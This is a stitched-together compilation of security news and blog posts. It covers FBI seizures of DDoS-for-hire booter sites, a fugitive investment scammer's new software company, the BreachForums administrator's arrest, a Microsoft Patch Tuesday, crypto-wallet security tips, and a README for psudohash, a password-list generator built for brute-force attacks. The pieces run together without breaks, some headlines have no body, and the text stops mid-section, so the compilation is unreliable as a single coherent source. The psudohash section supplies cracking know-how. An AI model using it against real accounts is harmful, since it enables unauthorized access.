For example, running an effective booter service requires a substantial amount of administrative work and maintenance, much of which involves constantly scanning for, commandeering and managing large collections of remote systems that can be used to amplify online attacks, Clayton said. On top of that, building brand recognition and customer loyalty takes time.

“If you’re running a booter and someone keeps taking your domain or hosting away, you have to then go through doing the same boring work all over again,” Clayton told KrebsOnSecurity. “One of the guys the FBI arrested in December [2022] spent six months moaning that he lost his servers, and could people please lend him some money to get it started again.”

In a statement released Wednesday, prosecutors in Los Angeles said four of the six men charged last year for running booter services have since pleaded guilty. However, at least one of the defendants from the 2022 booter bust-up — John M. Dobbs, 32, of Honolulu, HI — has pleaded not guilty and is signaling he intends to take his case to trial.

The FBI seizure notice that replaced the homepages of several booter services this week.

Dobbs is a computer science graduate student who for the past decade openly ran IPStresser[.]com, a popular and powerful attack-for-hire service that he registered with the state of Hawaii using his real name and address. Likewise, the domain was registered in Dobbs’s name and hometown in Pennsylvania. Prosecutors say Dobbs’ service attracted more than two million registered users, and was responsible for launching a staggering 30 million distinct DDoS attacks.

Many accused stresser site operators have pleaded guilty over the years after being hit with federal criminal charges. But the government’s core claim — that operating a booter site is a violation of U.S. computer crime laws — wasn’t properly tested in the courts until September 2021.

That was when a jury handed down a guilty verdict against Matthew Gatrel, a then 32-year-old St. Charles, Ill. man charged in the government’s first 2018 mass booter bust-up. Despite admitting to FBI agents that he ran two booter services (and turning over plenty of incriminating evidence in the process), Gatrel opted to take his case to trial, defended the entire time by court-appointed attorneys.

Gatrel was convicted on all three charges of violating the Computer Fraud and Abuse Act, including conspiracy to commit unauthorized impairment of a protected computer, conspiracy to commit wire fraud, and unauthorized impairment of a protected computer. He was sentenced to two years in prison.

A copy of the FBI’s booter seizure warrant is here (PDF). According to the DOJ, the defendants who pleaded guilty to operating booter sites include:

–Jeremiah Sam Evans Miller, aka “John The Dev,” 23, of San Antonio, Texas, who pleaded guilty on April 6 to conspiracy and violating the computer fraud and abuse act related to the operation of a booter service named RoyalStresser[.]com (formerly known as Supremesecurityteam[.]com);

–Angel Manuel Colon Jr., aka “Anonghost720” and “Anonghost1337,” 37, of Belleview, Florida, who pleaded guilty on February 13 to conspiracy and violating the computer fraud and abuse act related to the operation of a booter service named SecurityTeam[.]io;

–Shamar Shattock, 19, of Margate, Florida, who pleaded guilty on March 22 to conspiracy to violate the computer fraud and abuse act related to the operation of a booter service known as Astrostress[.]com;

–Cory Anthony Palmer, 23, of Lauderhill, Florida, who pleaded guilty on February 16 to conspiracy to violate the computer fraud and abuse act related to the operation of a booter service known as Booter[.]sx.

All four defendants are scheduled to be sentenced this summer.

The booter domains seized by the FBI this week include:

cyberstress[.]org
exoticbooter[.]com
layerstress[.]net
orbitalstress[.]xyz
redstresser[.]io
silentstress[.]wtf
sunstresser[.]net
silent[.]to
mythicalstress[.]net
dreams-stresser[.]org
stresserbest[.]io
stresserus[.]io
quantum-stress[.]org

A Serial Tech Investment Scammer Takes Up Coding?

John Clifton Davies, a 60-year-old con man from the United Kingdom who fled the country in 2015 before being sentenced to 12 years in prison for fraud, has enjoyed a successful life abroad swindling technology startups by pretending to be a billionaire investor. Davies’ newest invention appears to be “CodesToYou,” which purports to be a “full cycle software development company” based in the U.K.

The scam artist John Bernard a.k.a. Alan John Mykailov (left) in a recent Zoom call, and a mugshot of John Clifton Davies from nearly a decade earlier.

Several articles here have delved into the history of John Bernard, the pseudonym used by a fake billionaire technology investor who tricked dozens of startups into giving him tens of millions of dollars.

John Bernard’s real name is John Clifton Davies, a convicted fraudster from the United Kingdom who is currently a fugitive from justice. For several years until reinventing himself again quite recently, Bernard pretended to be a billionaire Swiss investor who made his fortunes in the dot-com boom 20 years ago.

“The Private Office of John Bernard” let it be known to investment brokers that he had tens of millions of dollars to invest in tech startups, and he attracted a stream of new victims by offering extraordinarily generous finder’s fees to brokers who helped him secure new clients. But those brokers would eventually get stiffed because Bernard’s company would never consummate a deal.

John Bernard’s former website, where he pretended to be a billionaire tech investor.

Bernard would promise to invest millions in tech startups, and then insist that companies pay tens of thousands of dollars worth of due diligence fees up front. However, the due diligence company he insisted on using — another Swiss firm called The Inside Knowledge GmbH — also was secretly owned by Bernard, who would invariably pull out of the deal after receiving the due diligence money.

A variety of clues suggest Davies has recently adopted at least one other identity — Alan John Mykhailov — who is listed as chairman of a British concern called CodesToYou LTD, incorporated in May 2022. The CodesToYou website says the company employs talented coders in several countries, and that its programmers offer “your ultimate balance between speed, cost and quality.”

The team from CodesToYou.

In response to questions from KrebsOnSecurity, CodesToYou’s marketing manager — who gave their name only as “Zhena” — said the company was not affiliated with any John Bernard or John Clifton Davies, and maintained that CodesToYou is a legitimate enterprise.

But publicly available information about this company and its leadership suggests otherwise. Official incorporation documents from the U.K.’s Companies House represent that CodesToYou is headed by an Alan John Mykhailov, a British citizen born in March 1958.

Companies House says Mykhailov is an officer in three other companies, including one called Blackstone Corporate Alliance Ltd. According to the Swiss business tracking service business-monitor.ch, Blackstone Corporate Alliance Ltd. is currently the entity holding a decision-making role in John Bernard’s fake due diligence company — The Inside Knowledge GmbH — which is now in liquidation.

A screen shot of the stock photos and corporate-speak on John Bernard’s old website. Image: Archive.org

Also listed as a partner in Blackstone Corporate Alliance Limited is Igor Hubskyi (a.k.a. Igor Gubskyi), a Ukrainian man who was previously president of The Inside Knowledge GmbH.

The CodesToYou website says the company’s marketing team lead is Maria Yakovleva, and the photo of this employee matches the profile for the LinkedIn account name “Maria Y.” That same LinkedIn profile and photo previously listed Maria by a different first and last name — Mariya Kulikova; back then, Ms. Kulikova’s LinkedIn profile said she was an executive assistant in The Private Office of Mr. John Bernard.

Companies House lists Alan John Mykhailov as a current officer in two other companies, including Frisor Limited, and Ardelis Solutions Limited. A cached copy of the now-defunct Ardelis Solutions website says it was a private equity firm.

CodesToYou’s Maria also included Ardelis Solutions in the work history section of her LinkedIn resume. That is, until being contacted by this author on LinkedIn, after which Maria’s profile picture and any mention of Ardelis Solutions were deleted.

Listed as head of business development at CodesToYou is David Bruno, a Canadian man whose LinkedIn profile says he is founder of an organization called “World Privacy Resource.” As KrebsOnSecurity reported in 2020, Bruno was at the time promoting himself as the co-CEO of a company called SafeSwiss Secure Communication AG, and the founder of another tech startup called Secure Swiss Data.

Secure Swiss Data’s domain — secureswissdata.com — is a Swiss concern that sells encrypted email and data services. According to DomainTools.com, that website name was registered in 2015 by The Inside Knowledge GmbH. In February 2020, a press release announced that Secure Swiss Data was purchased in an “undisclosed multimillion buyout” by SafeSwiss Secure Communication AG.

A cached copy of the Ardelis Solutions website, which said it was a private equity firm and included similar stock images as John Bernard’s investment website.

When reached in 2020 and asked about his relationship to Mr. Bernard, Mr. Bruno said the two were business partners and that he couldn’t imagine that Mr. Bernard would be involved in anything improper. To this day Mr. Bruno is the only person I’ve spoken to who has had anything positive to say about Mr. Bernard.

Mr. Bruno did not respond to requests for comment this time around, but his LinkedIn profile no longer makes any mention of Secure Swiss Data or SafeSwiss — both companies he claimed to run for many years. Nor does it mention CodesToYou. However, Mr. Bruno’s former company SafeSwiss is listed as one of the six “portfolio” companies whose services are promoted on the CodesToYou website.

In mid-2021, Bruno announced he was running for public office in Ontario.

“The Kenora resident is no stranger to the government as he contributed to Canada’s new Digital Charter, Bill C-11, which is a new Cyber Security policy,” reported Drydennow.com, a news website that covers Northwestern Ontario. Drydennow says the next federal election is expected to be held on or before Oct. 16, 2023.

John Clifton Davies was convicted in 2015 of swindling businesses throughout the U.K. that were struggling financially and seeking to restructure their debt. For roughly six years, Davies ran a series of firms that pretended to offer insolvency services, but instead simply siphoned what little remaining money these companies had.

The very first entity mentioned in the technology portfolio advertised on the CodesToYou website is called “MySolve,” and it purports to offer a “multi-feature platform for insolvency practitioners.”

Mr. Davies’ fourth wife, Iryna Davies, is listed as a director of one of the insolvency consulting businesses in the U.K. that was part of John Davies’ 2015 fraud conviction. Prior to his trial for fraud, Davies served 16 months in jail before being cleared of murdering his third wife on their honeymoon in India: Colette Davies, 39, died after falling 80 feet from a viewing point at a steep gorge in the Himachal Pradesh region of India.

Mr. Davies was charged with murder and fraud after he attempted to collect GBP 132,000 in her life insurance payout, but British prosecutors ultimately conceded they did not have enough evidence to convict him.

The scams favored by Davies and his alter egos are smart because he never approaches investors directly; rather, investors are incentivized to put his portfolio in front of tech firms seeking financial backing. And all the best cons begin as an idea or possibility planted in the target’s mind.

It’s also a reliable scam because companies bilked by small-time investment schemes rarely pursue legal action, mainly because the legal fees involved can quickly surpass the losses. On top of that, many victims will likely be too ashamed to admit their duping. Victims who do press their case in court and win then face the daunting challenge of collecting damages from a slew of ephemeral shell corporations.

The latest Bernard victim to speak publicly — a Norwegian company hoping to build a fleet of environmentally friendly shipping vessels — is now embroiled in a lawsuit over a deal gone bad. As part of that scam, Bernard falsely claimed to have secured $100 million from six other wealthy investors, including the founder of Uber and the artist Abel Makkonen Tesfaye, better known as The Weeknd.

Feds Charge NY Man as BreachForums Boss “Pompompurin”

The U.S. Federal Bureau of Investigation (FBI) this week arrested a New York man on suspicion of running BreachForums, a popular English-language cybercrime forum where some of the world biggest hacked databases routinely show up for sale. The forum’s administrator “Pompompurin” has been a thorn in the side of the FBI for years, and BreachForums is widely considered a reincarnation of RaidForums, a remarkably similar crime forum that the FBI infiltrated and dismantled in 2022.

Federal agents carting items out of Fitzpatrick’s home on March 15. Image: News 12 Westchester.

In an affidavit filed with the District Court for the Southern District of New York, FBI Special Agent John Longmire said that at around 4:30 p.m. on March 15, 2023, he led a team of law enforcement agents that made a probable cause arrest of a Conor Brian Fitzpatrick in Peekskill, NY.

“When I arrested the defendant on March 15, 2023, he stated to me in substance and in part that: a) his name was Conor Brian Fitzpatrick; b) he used the alias ‘pompompurin/’ and c) he was the owner and administrator of ‘BreachForums’ the data breach website referenced in the Complaint,” Longmire wrote.

Pompompurin has been something of a nemesis to the FBI for several years. In November 2021, KrebsOnSecurity broke the news that thousands of fake emails about a cybercrime investigation were blasted out from the FBI’s email systems and Internet addresses.

Pompompurin took credit for that stunt, and said he was able to send the FBI email blast by exploiting a flaw in an FBI portal designed to share information with state and local law enforcement authorities. The FBI later acknowledged that a software misconfiguration allowed someone to send the fake emails.

In December, 2022, KrebsOnSecurity broke the news that hackers active on BreachForums had infiltrated the FBI’s InfraGard program, a vetted FBI program designed to build cyber and physical threat information sharing partnerships with experts in the private sector. The hackers impersonated the CEO of a major financial company, applied for InfraGard membership in the CEO’s name, and were granted admission to the community.

From there, the hackers plundered the InfraGard member database, and proceeded to sell contact information on more than 80,000 InfraGard members in an auction on BreachForums. The FBI responded by disabling the portal for some time, before ultimately forcing all InfraGard members to re-apply for membership.

More recently, BreachForums was the sales forum for data stolen from DC Health Link, a health insurance exchange based in Washington, D.C. that suffered a data breach this month. The sales thread initially said the data included the names, Social Security numbers, dates of birth, health plan and enrollee information and more on 170,000 individuals, although the official notice about the breach says 56,415 people were affected.

In April 2022, U.S. Justice Department seized the servers and domains for RaidForums, an extremely popular English-language cybercrime forum that sold access to more than 10 billion consumer records stolen in some of the world’s largest data breaches since 2015. As part of that operation, the feds also charged the alleged administrator, 21-year-old Diogo Santos Coelho of Portugal, with six criminal counts.

Coelho was arrested in the United Kingdom on Jan. 31, 2022. By that time, the new BreachForums had been live for just under a week, but with a familiar look.

BreachForums remains accessible online, and from reviewing the live chat stream on the site’s home page it appears the forum’s active users are only just becoming aware that their administrator — and the site’s database — is likely now in FBI hands:

Members of BreachForums discuss the arrest of the forum’s alleged owner.

“Wait if they arrested pom then doesn’t the FBI have all of our details we’ve registered with?” asked one worried BreachForums member.

“But we all have good VPNs I guess, right…right guys?” another denizen offered.

“Like pom would most likely do a plea bargain and cooperate with the feds as much as possible,” replied another.

Fitzpatrick could not be immediately reached for comment. The FBI declined to comment for this story.

There is only one page to the criminal complaint against Fitzpatrick (PDF), which charges him with one count of conspiracy to commit access device fraud. The affidavit on his arrest is available here (PDF).

Update: Corrected spelling of FBI agent’s last name.

Experts Sound Alarm Over Growing Attacks Exploiting Zoho ManageEngine Products

Microsoft Patch Tuesday, February 2023 Edition

Microsoft is sending the world a whole bunch of love today, in the form of patches to plug dozens of security holes in its Windows operating systems and other software. This year’s special Valentine’s Day Patch Tuesday includes fixes for a whopping three different “zero-day” vulnerabilities that are already being used in active attacks.

Microsoft’s security advisories are somewhat sparse with details about the zero-day bugs. Redmond flags CVE-2023-23376 as an “Important” elevation of privilege vulnerability in the Windows Common Log File System Driver, which is present in Windows 10 and 11 systems, as well as many server versions of Windows.

“Sadly, there’s just a little solid information about this privilege escalation,” said Dustin Childs, head of threat awareness at Trend Micro’s Zero Day Initiative. “Microsoft does note that the vulnerability would allow an attacker to exploit code as SYSTEM, which would allow them to completely take over a target. This is likely being chained with a remote code execution bug to spread malware or ransomware. Considering this was discovered by Microsoft’s Threat Intelligence Center, it could mean it was used by advanced threat actors. Either way, make sure you test and roll these fixes quickly.”

The zero-day CVE-2023-21715 is a weakness in Microsoft Office that Redmond describes as a “security feature bypass vulnerability.”

“Microsoft lists this as under active exploit, but they offer no info on how widespread these exploits may be,” Childs said. “Based on the write-up, it sounds more like a privilege escalation than a security feature bypass, but regardless, active attacks in a common enterprise application shouldn’t be ignored. It’s always alarming when a security feature is not just bypassed but exploited. Let’s hope the fix comprehensively addresses the problem.”

The third zero-day flaw already seeing exploitation is CVE-2023-21823, which is another elevation of privilege weakness — this one in the Microsoft Windows Graphic component. Researchers at cybersecurity forensics firm Mandiant were credited with reporting the bug.

Kevin Breen, director of cyber threat research at Immersive Labs, pointed out that the security bulletin for CVE-2023-21823 specifically calls out OneNote as being a vulnerable component for the vulnerability.

“In recent weeks, we have seen an increase in the use of OneNote files as part of targeted malware campaigns,” Breen said. “Patches for this are delivered via the app stores and not through the typical formats, so it’s important to double check your organization’s policies.”

Microsoft fixed another Office vulnerability in CVE-2023-21716, which is a Microsoft Word bug that can lead to remote code execution — even if a booby-trapped Word document is merely viewed in the preview pane of Microsoft Outlook. This security hole has a CVSS (severity) score of 9.8 out of a possible 10.

Microsoft also has more valentines for organizations that rely on Microsoft Exchange Server to handle email. Redmond patched three Exchange Server flaws (CVE-2023-21706, CVE-2023-21707, and CVE-2023-21529), all of which Microsoft says are remote code execution flaws that are likely to be exploited.

Microsoft said authentication is required to exploit these bugs, but then again threat groups that attack Exchange vulnerabilities also tend to phish targets for their Exchange credentials.

Microsoft isn’t alone in dropping fixes for scary, ill-described zero-day flaws. Apple on Feb. 13 released an update for iOS that resolves a zero-day vulnerability in Webkit, Apple’s open source browser engine. Johannes Ullrich at the SANS Internet Storm Center notes that in addition to the WebKit problem, Apple fixed a privilege escalation issue. Both flaws are fixed in iOS 16.3.1.

“This privilege escalation issue could be used to escape the browser sandbox and gain full system access after executing code via the WebKit vulnerability,” Ullrich warned.

On a lighter note (hopefully), Microsoft drove the final nail in the coffin for Internet Explorer 11 (IE11). According to Redmond, the out-of-support IE11 desktop application was permanently disabled on certain versions of Windows 10 on February 14, 2023 through a Microsoft Edge update.

“All remaining consumer and commercial devices that were not already redirected from IE11 to Microsoft Edge were redirected with the Microsoft Edge update. Users will be unable to reverse the change,” Microsoft explained. “Additionally, redirection from IE11 to Microsoft Edge will be included as part of all future Microsoft Edge updates. IE11 visual references, such as the IE11 icons on the Start Menu and taskbar, will be removed by the June 2023 Windows security update (“B” release) scheduled for June 13, 2023.”

For a more granular rundown on the updates released today, see the SANS Internet Storm Center roundup. If today’s updates cause any stability or usability issues in Windows, AskWoody.com will likely have the lowdown on that.

Please consider backing up your data and/or imaging your system before applying any updates. And feel free to sound off in the comments if you experience any problems as a result of these patches.

Thinking of Hiring or Running a Booter Service? Think Again.

Most people who operate DDoS-for-hire businesses attempt to hide their true identities and location. Proprietors of these so-called “booter” or “stresser” services — designed to knock websites and users offline — have long operated in a legally murky area of cybercrime law. But until recently, their biggest concern wasn’t avoiding capture or shutdown by the feds: It was minimizing harassment from unhappy customers or victims, and insulating themselves against incessant attacks from competing DDoS-for-hire services.

And then there are booter store operators like John Dobbs, a 32-year-old computer science graduate student living in Honolulu, Hawaii. For at least a decade until late last year, Dobbs openly operated IPStresser[.]com, a popular and powerful attack-for-hire service that he registered with the state of Hawaii using his real name and address. Likewise, the domain was registered in Dobbs’s name and hometown in Pennsylvania.

Dobbs, in an undated photo from his Github profile. Image: john-dobbs.github.io

The only work experience Dobbs listed on his resume was as a freelance developer from 2013 to the present day. Dobbs’s resume doesn’t name his booter service, but in it he brags about maintaining websites with half a million page views daily, and “designing server deployments for performance, high-availability and security.”

In December 2022, the U.S. Department of Justice seized Dobbs’s IPStresser website and charged him with one count of aiding and abetting computer intrusions. Prosecutors say his service attracted more than two million registered users, and was responsible for launching a staggering 30 million distinct DDoS attacks.

The government seized four-dozen booter domains, and criminally charged Dobbs and five other U.S. men for allegedly operating stresser services. This was the Justice Department’s second such mass takedown targeting DDoS-for-hire services and their accused operators. In 2018, the feds seized 15 stresser sites, and levied cybercrime charges against three men for their operation of booter services.

Dobbs’s booter service, IPStresser, in June 2020. Image: archive.org.

Many accused stresser site operators have pleaded guilty over the years after being hit with federal criminal charges. But the government’s core claim — that operating a booter site is a violation of U.S. computer crime laws — wasn’t properly tested in the courts until September 2021.

That was when a jury handed down a guilty verdict against Matthew Gatrel, a then 32-year-old St. Charles, Ill. man charged in the government’s first 2018 mass booter bust-up. Despite admitting to FBI agents that he ran two booter services (and turning over plenty of incriminating evidence in the process), Gatrel opted to take his case to trial, defended the entire time by court-appointed attorneys.

Prosecutors said Gatrel’s booter services — downthem[.]org and ampnode[.]com — helped some 2,000 paying customers launch debilitating digital assaults on more than 20,000 targets, including many government, banking, university and gaming websites.

Gatrel was convicted on all three charges of violating the Computer Fraud and Abuse Act, including conspiracy to commit unauthorized impairment of a protected computer, conspiracy to commit wire fraud, and unauthorized impairment of a protected computer. He was sentenced to two years in prison.

Now, it appears Dobbs is also planning to take his chances with a jury. On Jan. 4, Dobbs entered a plea of not guilty. Neither Dobbs nor his court-appointed attorney responded to requests for comment.

But as it happens, Dobbs himself provided some perspective on his thinking in an email exchange with KrebsOnSecurity back in 2020. I’d reached out to Dobbs because it was obvious he didn’t mind if people knew he operated one of the world’s most popular DDoS-for-hire sites, and I was genuinely curious why he was so unafraid of getting raided by the feds.

“Yes, I am the owner of the domain you listed, however you are not authorized to post an article containing said domain name, my name or this email address without my prior written permission,” Dobbs replied to my initial outreach on March 10, 2020 using his email address from the University of Hawaii at Manoa.

A few hours later, I received more strident instructions from Dobbs, this time via his official email address at ipstresser[.]com.

“I will state again for absolute clarity, you are not authorized to post an article containing ipstresser.com, my name, my GitHub profile and/or my hawaii.edu email address,” Dobbs wrote, as if taking dictation from a lawyer who doesn’t understand how the media works.

When pressed for particulars on his business, Dobbs replied that the number of IPStresser customers was “privileged information,” and said he didn’t even advertise the service. When asked whether he was concerned that many of his competitors were by then serving jail time for operating similar booter services, Dobbs maintained that the way he’d set up the business insulated him from any liability.

“I have been aware of the recent law enforcement actions against other operators of stress testing services,” Dobbs explained. “I cannot speak to the actions of these other services, but we take proactive measures to prevent misuse of our service and we work with law enforcement agencies regarding any reported abuse of our service.”

What were those proactive measures? In a 2015 interview with ZDNet France, Dobbs asserted that he was immune from liability because his clients all had to submit a digital signature attesting that they wouldn’t use the site for illegal purposes.

“Our terms of use are a legal document that protects us, among other things, from certain legal consequences,” Dobbs told ZDNet. “Most other sites are satisfied with a simple checkbox, but we ask for a digital signature in order to imply real consent from our customers.”

Dobbs told KrebsOnSecurity his service didn’t generate much of a profit, but rather that he was motivated by “filling a legitimate need.”

“My reason for offering the service is to provide the ability to test network security measures before someone with malicious intent attacks said network and causes downtime,” he said. “Sure, some people see only the negatives, but there is a long list of companies I have worked with over the years who would say my service is a godsend and has helped them prevent tens of thousands of dollars in downtime resulting from a malicious attack.”

“I do not believe that providing such a service is illegal, assuming proper due diligence to prevent malicious use of the service, as is the case for IPstresser[.]com,” Dobbs continued. “Someone using such a service to conduct unauthorized testing is illegal in many countries, however, the legal liability is that of the user, not of the service provider.”

Dobbs’s profile on GitHub includes more of his ideas about his work, including a curious piece on “software engineering ethics.” In his January 2020 treatise “My Software Engineering Journey,” Dobbs laments that nothing in his formal education prepared him for the reality that a great deal of his work would be so tedious and repetitive (this tracks closely with a 2020 piece here called Career Choice Tip: Cybercrime is Mostly Boring).

“One area of software engineering that I think should be covered more in university classes is maintenance,” Dobbs wrote. “Projects are often worked on for at most a few months, and students do not experience the maintenance aspect of software engineering until they reach the workplace. Let’s face it, ongoing maintenance of a project is boring; there is nothing like the euphoria of completing a project you have been working on for months and releasing it to the world, but I would say that half of my professional career has been related to maintenance.”

Allison Nixon is chief research officer at the New York-based cybersecurity firm Unit 221B. Nixon is part of a small group of researchers who have been closely tracking the DDoS-for-hire industry for years, and she said Dobbs’s claim that what he’s doing is legal makes sense given that it took years for the government to recognize the size of the problem.

“These guys are arguing that their services are legal because for a long time nothing happened to them,” Nixon said. “It’s difficult to argue something is illegal if no one has ever been arrested for it before.”

Nixon says the government’s fight against the booter services — and by extension other types of cybercrimes — is hampered by a legal system that often takes years to cycle through cybercrime cases.

“With cybercrime, the cycle between the crime and investigation and arrest can often take a year or more, and that’s for a really fast case,” Nixon said. “If someone robbed a store, we’d expect a police response within a few minutes. If someone robs a bank’s website, there might be some indication of police activity within a year.”

Nixon praised the 2022 and 2018 booter takedown operations as “huge steps forward,” but added that “there need to be more of them, and faster.”

“This time lag is part of the reason it’s so difficult to shut down the pipeline of new talent going into cybercrime,” she said. “They think what they’re doing is legal because nothing has happened, and because of the amount of time it takes to shut these things down. And it’s really a big problem, where we see a lot of people becoming criminals on the basis that what they’re doing isn’t really illegal because the cops won’t do anything.”

In December 2020, Dobbs filed an application with the state of Hawaii to withdraw IP Stresser Inc. from its roster of active companies. But according to prosecutors, Dobbs would continue to operate his DDoS-for-hire site until at least November 2022.

Two months after our 2020 email interview, Dobbs would earn his second bachelor’s degree (in computer science; his resume says he earned a bachelor’s in civil engineering from Drexel University in 2013). The federal charges against Dobbs came just as he was preparing to enter his final semester toward a master’s degree in computer science at the University of Hawaii.

Nixon says she has a message for anyone involved in operating a DDoS-for-hire service.

“Unless you are verifying that the target owns the infrastructure you’re targeting, there is no legal way to operate a DDoS-for-hire service,” she said. “There is no Terms of Service you could put on the site that would somehow make it legal.”

And her message to the customers of those booter services? It’s a compelling one to ponder, particularly now that investigators in the United States, U.K. and elsewhere have started going after booter service customers.

“When a booter service claims they don’t share logs, they’re lying because logs are legal leverage for when the booter service operator gets arrested,” Nixon said. “And when they do, you’re going to be the first people they throw under the bus.”

Zoho ManageEngine PoC Exploit to be Released Soon - Patch Before It's Too Late!

Fortinet and Zoho Urge Customers to Patch Enterprise Software Vulnerabilities

Telcom and BPO Companies Under Attack by SIM Swapping Hackers

S3 Ep110: Spotlight on cyberthreats – an expert speaks [Audio + Text]

Cryptohacking: Is Cryptocurrency Losing Its Credibility?

In the fall of 2021, cryptocurrency value skyrocketed. Ethereum and Bitcoin had their highest values ever, causing a huge stir in interest in online currencies from experts, hobbyists and newbies alike … and in cybercriminals seeking huge paydays. Since then, cryptocurrency value has cooled, as has the public’s opinion about whether it’s worth the risk. Huge cryptohacking events dominate the headlines, leaving us to wonder: Is cryptocurrency losing its credibility? 

In this article, you’ll learn about recent unfortunate crypto hacks and a few cryptocurrency security tips to help you avoid a similar misfortune. 

Secure Your Crypto Wallet 

A crypto wallet is the software or the physical device that stores the public and private keys to your cryptocurrency. A public key is the string of letters and numbers that people swap with each other in crypto transactions. It’s ok to share a public key with someone you trust. Your private key, however, must remain private — think of it like the password that secures your online bank account. Just like your actual wallet, if it falls into the wrong hands, you can lose a lot of money.   

What happened in the Mars Stealer malware attack on crypto wallets? 

A malware called Mars Stealer infiltrated several crypto wallet browser extensions, including the popular MetaMask. The malware stole private keys and then erased its tracks to mask that it had ever gained entry to the wallet.1 

How can you ensure a secure wallet?  

One way to completely avoid a breach to your software crypto wallet is to opt for a hardware wallet. A hardware wallet is a physical device that can only be opened with a PIN. But there is some risk involved with a hardware wallet: if you drop it down the drain, all your crypto is gone. If you forget your wallet PIN, there is no customer service chatbot that can help you remember it. You are solely responsible for keeping track of it. For those who are confident in their hardware’s hiding spot and their personal organizational skills, they can benefit from its added security. 

For anyone less sure of their ability to keep track of a hardware wallet, a software wallet is a fine alternative, though always been on alert of software wallet hacks. Keep an eye on crypto news and be ready to secure your software at a moment’s notice. Measures include un-downloading browser extensions, changing passwords, or transferring your crypto assets to another software wallet. 

In the case of the Mars Stealer malware that affected MetaMask, being careful about visiting secure sites and only clicking on trustworthy links could’ve helped prevent it. Mars Stealer made its way onto people’s devices after they clicked on an infected link or visited a risky website. Stick to websites you know you can trust and consider springing for well-known streaming services and paying for software instead of torrenting from free sources. 

Only Trust Secure Bridges and Be Prepared to Act Quickly

Cryptocurrency enthusiasts often spread their crypto investments across various currency types and blockchain environments. Software known as a bridge can link numerous accounts and types, making it easier to send currency. 

What happened in the Horizon bridge hack?

The cross-chain bridge Horizon experienced was on its Harmony blockchain, where a hacker stole about $100 million in Ethereum and tokens. The hacker stole two private keys, with which they could then validate this huge transaction into their own wallet. To hopefully prevent this from happening in the future, Horizon now requires more than just two validators.2 

How can you avoid crumbling bridges? 

According to one report, in 2022, 69% of all cryptocurrency losses have occurred in bridge attacks.3 If you exchange cryptocurrencies with other users and have various accounts, it’s almost inevitable that you’ll use bridge software. To keep your assets safe, make sure to extensively research any bridge before trusting it. Take a look at their security protocols and how they’ve responded to past breaches, if applicable.  

In the case of Horizon, the stolen private keys were encrypted with a passphrase and with a key management service, which follows best practices. Make sure that you always defend your private keys and all your cryptocurrency-related accounts with multi-factor authentication. Even though it may not 100% protect your assets, it’ll foil a less persistent cybercriminal. 

Phishing attacks on bridge companies in conjunction with software hacks are also common. In this scenario, there’s unfortunately not much you can control. What you can control is how quickly and completely you respond to the cybercrime event. Remove the bridge software from your devices, transfer all your assets to a hardware wallet, and await further instructions from the bridge company on how to proceed. 

Never Trade Security for Convenience

Decentralized finance, or DeFi, is now one of the riskiest aspects of cryptocurrency. DeFi is a system without governing bodies. Some crypto traders like the anonymity and autonomy of being able to make transactions without a bank or institution tracking their assets. The drawback is that the code used in smart contracts isn’t bulletproof and has been at the center of several costly cybercrimes. Smart contracts are agreed upon by crypto buyers and sellers, and they contain code that programs crypto to perform certain financial transactions. 

What happened in recent smart contract hacks? 

Three multi-million-dollar heists – Wormhole, Beanstalk Farms and Ronin bridge – occurred in quick succession, and smart contracts were at the center of each.4 In the case of Wormhole, a cybercriminal minted 120,000 in one currency and then traded them for Ethereum without putting up the necessary collateral. In the end, the hacker cashed out with $320 million. Beanstalk Farms lost $182 million when a hacker discovered a loophole in the stablecoin’s flash loan smart contract. Axie Infinity’s Ronin bridge was hit for $625 million when a hacker took control over and signed five of the nine validator nodes through a smart contract hole.4 

How can you avoid smart contract failures  

To be safe, conduct all crypto transactions on well-known and trustworthy software, applications, bridges, and wallets that are backed by a governing body. What you lose in anonymity you gain in security by way of regulated protocols. Hackers are targeting smart contracts because they do not have to depend on large-scale phishing schemes to get the information they need. Instead, they can infiltrate the code themselves and steal assets from the smartest and most careful crypto users. Because there’s almost no way you can predict the next smart contract hack, the best path forward is to always remain on your toes and be ready to react should one occur. 

Enjoy Cryptocurrency but Keep Your Eyes Peeled

Don’t let these costly hacks be what stops you from exploring crypto! Crypto is great as a side hustle if you’re committed to security and are strategic in your investments. Make sure you follow the best practices outlined and arm all your devices (mobile included!) with top-notch security, such as antivirus software, a VPN, and a password manager, all of which are included in McAfee +.  

Privacy, excellent security habits, and an eagle eye can help you enjoy the most out of cryptocurrency and sidestep its costly pitfalls. Now, go forth confidently and prosper in the crypto realm! 

1Cointelegraph, “Hodlers, beware! New malware targets MetaMask and 40 other crypto wallets” 

2Halborn, “Explained: The Harmony Horizon Bridge Hack” 

3Chainalysis, “Vulnerabilities in Cross-chain Bridge Protocols Emerge as Top Security Risk” 

4Protocol, “Crypto is crumbling, and DeFi hacks are getting worse” 

5Cointelegraph, “Beanstalk Farms loses $182M in DeFi governance exploit” 

The post Cryptohacking: Is Cryptocurrency Losing Its Credibility? appeared first on McAfee Blog.

Psudohash - Password List Generator That Focuses On Keywords Mutated By Commonly Used Password Creation Patterns

psudohash is a password list generator for orchestrating brute force attacks. It imitates certain password creation patterns commonly used by humans, like substituting a word's letters with symbols or numbers, using char-case variations, adding a common padding before or after the word and more. It is keyword-based and highly customizable.

Pentesting Corporate Environments

System administrators and other employees often use a mutated version of the Company's name to set passwords (e.g. Am@z0n_2022). This is commonly the case for network devices (Wi-Fi access points, switches, routers, etc), application or even domain accounts. With the most basic options, psudohash can generate a wordlist with all possible mutations of one or multiple keywords, based on common character substitution patterns (customizable), case variations, strings commonly used as padding and more. Take a look at the following example:

The script includes a basic character substitution schema. You can add/modify character substitution patterns by editing the source and following the data structure logic presented below (default):

transformations = [
	{'a' : '@'},
	{'b' : '8'},
	{'e' : '3'},
	{'g' : ['9', '6']},
	{'i' : ['1', '!']},
	{'o' : '0'},
	{'s' : ['$', '5']},
	{'t' : '7'}
]

Individuals

When it comes to people, i think we all have (more or less) set passwords using a mutation of one or more words that mean something to us e.g., our name or wife/kid/pet/band names, sticking the year we were born at the end or maybe a super secure padding like "!@#". Well, guess what?

Installation

No special requirements. Just clone the repo and make the script executable:

git clone https://github.com/t3l3machus/psudohash
cd ./psudohash
chmod +x psudohash.py

Usage

./psudohash.py [-h] -w WORDS [-an LEVEL] [-nl LIMIT] [-y YEARS] [-ap VALUES] [-cpb] [-cpa] [-cpo] [-o FILENAME] [-q]

The help dialog [ -h, --help ] includes usage details and examples.

Usage Tips

